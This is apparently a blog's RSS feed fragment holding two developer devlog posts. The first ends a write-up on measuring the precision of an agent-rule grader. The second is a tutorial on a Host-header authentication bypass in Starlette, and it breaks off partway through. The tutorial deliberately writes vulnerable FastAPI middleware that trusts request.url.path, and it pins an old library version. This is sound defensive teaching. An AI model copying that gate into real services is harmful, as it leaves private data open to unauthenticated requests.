&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rule&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;14&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;pct&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;precision&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}  `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;              `(${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} true, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} false)`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Run it&lt;/h2&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; make-corpus.mjs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; score.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;wrote 4 runs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;overall precision: 60.0% (3 true, 2 false)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;by severity:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  high     33.3%  (1 true, 2 false)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  medium   100.0%  (2 true, 0 false)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;by rule:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  pr-into-main   33.3%  (1 true, 2 false)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  secret-in-log  100.0%  (2 true, 0 false)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sixty percent overall reads like a tool with a tuning problem. The split says something sharper.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;secret-in-log&lt;/code&gt; rule is doing its job. The &lt;code&gt;pr-into-main&lt;/code&gt; rule is wrong two times out of three, and every one of those false positives is the sanctioned promotion. On the real corpus that same rule was wrong on six of six firings, all of them the &lt;code&gt;dev&lt;/code&gt; into &lt;code&gt;main&lt;/code&gt; promotion the repo’s own process document requires.&lt;/p&gt;
&lt;p&gt;The fix is not a threshold. The rule read &lt;code&gt;--base&lt;/code&gt; and never &lt;code&gt;--head&lt;/code&gt;, so it could not distinguish a promotion from a feature branch jumping the queue. A rule that encodes half of a two-part condition is not strict, it is broken, and only real runs show you which half is missing.&lt;/p&gt;
&lt;p&gt;The unlabelled-finding exception matters as much as the arithmetic. A scorer that silently skips a finding it has no verdict for will quietly report precision over the subset you happened to label, which is the same optimistic bias one level down.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A rule that fires only on your own fixture will look perfect forever.&lt;/strong&gt; The 48-test suite stayed green through all five defects because the frozen baseline is a session the tool was developed against, so its text contains the exact phrases the rules match. The escape is to keep the fixture for regression and score precision on a corpus of runs collected after the rules were written. If a rule has never fired on anything except your sample, treat it as unmeasured rather than passing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A lazy quantifier with a minimum length cannot close on a short span.&lt;/strong&gt; The clause extractor pulled rules out of markdown with &lt;code&gt;/\*\*([\s\S]{5,400}?)\*\*/g&lt;/code&gt;. A bold span shorter than that five-character minimum cannot terminate on its own closing &lt;code&gt;**&lt;/code&gt;, so the opener runs on to the next one and the matcher alternates from there, capturing the gap text between rules and discarding the real spans until another short span flips it back. The symptom was a contract that omitted &lt;code&gt;**Never print or commit secrets.**&lt;/code&gt; while including the sentence immediately after it at severity high. The escape is to make the inner a run that cannot contain the delimiter, then let a separate length check do the filtering it was always meant to do. Fixing it recovered ten real rules in one contract and shed nine pieces of gap text.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;One violating event should produce one finding.&lt;/strong&gt; The decision ran once per bound clause, so a single command emitted a finding for each clause attached to it, including one citing a rule about pushes for an event that was not a push. Duplicates inflate every count you are about to compute, so deduplicate at the event, and attach each hit to the most specific rule rather than to all of them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Two copies of the same arithmetic will disagree.&lt;/strong&gt; The coverage number was computed once for the written report and again for the terminal summary, and the two drifted, so the tool contradicted the file it had just written. Export one function and call it from both. This is the boring one, and it is the one that shipped twice.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Know which fix you are not making.&lt;/strong&gt; The trace layer was left alone on purpose: its event ids are positional, so a change that alters the count rewires citations to the wrong events with zero rejections, and on compacted sessions that would have silently moved a large share of them. A measurement that improves one number while corrupting the link between a finding and its evidence is not an improvement. Write down what you deliberately did not touch, and why.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sebastianraschka.com/blog/2016/model-evaluation-selection-part3.html&quot;&gt;Model evaluation, model selection, and algorithm selection in machine learning&lt;/a&gt; — why reusing a test set leaks information and yields optimistic estimates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2508.04448&quot;&gt;Large Language Models Versus Static Code Analysis Tools: A Systematic Benchmark for Vulnerability Detection&lt;/a&gt; — F-1 scores of 0.260, 0.386 and 0.546 against ten real C# projects with 63 embedded vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2203.09907&quot;&gt;Learning to Reduce False Positives in Analytic Bug Detectors&lt;/a&gt; — the false-positive burden on developers, and a 17.5% precision improvement over a static-analysis baseline&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(eval): the grader was wrong about what it said most loudly (0.3.0) (#171) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/7f4f76994b60a136b90e2e32a11b27271c2d806e&quot;&gt;7f4f769&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(eval): a clause judgment examined is not a clause nobody examined (0.2.1) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/e02bdbc18433eece3861929b2e4ef5f4cf4d4182&quot;&gt;e02bdbc&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/eval/v0.3.0.png" length="29716" type="image/png"/></item><item><title>The Host header can decide which path your auth check sees</title><link>https://natejswenson.com/devlog/local-fitness/v0.49.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/local-fitness/v0.49.0/</guid><description>A path-based auth gate is only as trustworthy as the string you hand it. Here is how to build one on the ASGI scope, and how to prove a crafted Host header cannot move it.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;This release closed an authentication bypass in a personal fitness agent’s MCP server, alongside a batch plan-edit tool, a persona rewrite, and a round of deduplication. The bypass is the part worth teaching: a crafted &lt;code&gt;Host&lt;/code&gt; header made the auth middleware believe a protected request was aimed at the one public route, so the bearer-token check returned early and never ran.&lt;/p&gt;
&lt;p&gt;The whitelist function was correct the whole time. The bug was in what got passed to it. If you have a Python service that makes an authorization decision from a URL path, this is a fifteen-minute audit with a one-line fix, and the test that proves it is worth more than the fix.&lt;/p&gt;
&lt;h2&gt;Why a path can be two different strings&lt;/h2&gt;
&lt;p&gt;An ASGI server parses the request line and puts the target in the connection scope. The &lt;a href=&quot;https://asgi.readthedocs.io/en/latest/specs/www.html&quot;&gt;ASGI specification&lt;/a&gt; defines &lt;code&gt;path&lt;/code&gt; as the “HTTP request target excluding any query string, with percent-encoded sequences and UTF-8 byte sequences decoded into characters.” It comes from the request line. Headers are a separate key in the same scope, and nothing about &lt;code&gt;path&lt;/code&gt; derives from them.&lt;/p&gt;
&lt;p&gt;Starlette’s &lt;code&gt;request.url&lt;/code&gt; is a different animal. It is &lt;em&gt;reconstructed&lt;/em&gt;, by concatenating the &lt;code&gt;Host&lt;/code&gt; header with the path and re-parsing the result. That is convenient when you want an absolute URL, and it is a liability when you want a routing decision. PortSwigger’s Web Security Academy puts the root cause plainly: &lt;a href=&quot;https://portswigger.net/web-security/host-header&quot;&gt;Host header vulnerabilities arise from the flawed assumption that the header is not user controllable&lt;/a&gt;. Anyone can set it to anything.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-86qp-5c8j-p5mr&quot;&gt;CVE-2026-48710&lt;/a&gt; is exactly this. In starlette 1.0.0 and earlier, a &lt;code&gt;Host&lt;/code&gt; header containing &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, or &lt;code&gt;#&lt;/code&gt; shifts the path, query, and fragment boundaries when the rebuilt URL is re-parsed. The advisory is rated moderate, CVSS 6.5, and patched in 1.0.1. The router still dispatches on the real path; only code reading &lt;code&gt;request.url.path&lt;/code&gt; sees the moved one.&lt;/p&gt;
&lt;p&gt;OWASP has catalogued the general class for years. Its &lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection&quot;&gt;Web Security Testing Guide&lt;/a&gt; lists redirects to attacker-controlled domains, cache poisoning, and password-reset manipulation as consequences of processing the header without validation. Path-based authorization joins that list whenever a framework builds a URL out of it.&lt;/p&gt;
&lt;h2&gt;Set up a service worth attacking&lt;/h2&gt;
&lt;p&gt;Two dependencies, and a deliberately old starlette so you can watch the bug happen:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; venv&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; .venv&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; .venv/bin/activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;fastapi==0.136.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;starlette==1.0.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;httpx&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;pytest&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;anyio&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The shape below is the common one: everything is private except a liveness probe that a container orchestrator has to reach without credentials.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# app.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; os&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; secrets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fastapi &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; FastAPI, Request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fastapi.responses &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSONResponse&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;API_TOKEN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; os.environ.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;API_TOKEN&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;app &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; FastAPI()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@app.get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/health&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; health&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ok&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@app.get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/private/data&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; private_data&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;secret&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;your users&apos; data lives here&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Write the gate the obvious way, and watch it fail&lt;/h2&gt;
&lt;p&gt;Here is the version almost everyone writes first. It reads the path off the request, checks it against a whitelist, and short-circuits for public routes.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# app.py (continued)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; is_public_path&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Deny by default. Only the liveness probe is public.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;/health&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@app.middleware&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; require_token&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(request: Request, call_next):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; request.url.path            &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# &amp;#x3C;-- the bug&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; API_TOKEN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; is_public_path(path):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; call_next(request)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    header &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; request.headers.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;authorization&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; secrets.compare_digest(header, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Bearer &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;API_TOKEN&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSONResponse({&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;unauthorized&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}, status_code&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;401&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; call_next(request)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing about &lt;code&gt;is_public_path&lt;/code&gt; is wrong. It is an exact match, it denies by default, and a unit test over it passes. The input is the problem.&lt;/p&gt;
&lt;p&gt;You can see the divergence without running a server at all:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# show_divergence.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; starlette.requests &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; scope&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(host: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;type&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;method&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/private/data&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
